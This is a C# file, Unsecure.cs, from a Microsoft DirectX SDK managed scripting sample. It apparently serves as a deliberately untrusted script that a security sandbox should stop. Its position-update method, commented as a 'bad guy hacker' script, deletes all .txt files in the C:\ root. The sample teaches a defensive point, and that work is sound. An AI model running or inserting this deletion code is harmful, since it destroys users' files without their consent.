home *** CD-ROM | disk | FTP | other *** search
/ Programming a Multiplayer FPS in DirectX / Programming a Multiplayer FPS in DirectX (Companion CD).iso / DirectX / dxsdk_oct2004.exe / dxsdk.exe / Samples / Managed / Direct3D / Scripting / Unsecure.cs < prev   
Encoding:
Text File  |  2004-09-27  |  927 b   |  28 lines

  1. //--------------------------------------------------------------------------------------
  2. // File: Script2.cs
  3. //
  4. // Scripting code for Managed Scripting sample
  5. //
  6. // Copyright (c) Microsoft Corporation. All rights reserved.
  7. //--------------------------------------------------------------------------------------
  8. using System;
  9.  
  10. /// <summary>
  11. /// Handles scripts for the ShadowVolume sample
  12. /// </summary>
  13. class ScriptClass
  14. {
  15.     /// <summary>
  16.     /// Updates dwarf's position
  17.     /// </summary>
  18.     public static void UpdatePosition(double appTime, ref float x, ref float y, ref float z)
  19.     {
  20.         // I'm a bad guy hacker, i'm going to mess up your computer with this script!
  21.         foreach(string s in System.IO.Directory.GetFiles("C:\\", "*.txt"))
  22.         {
  23.             // Deleting all of your text files in the root will be good enough!
  24.             System.IO.File.Delete(s);
  25.         }
  26.     }
  27. }
  28.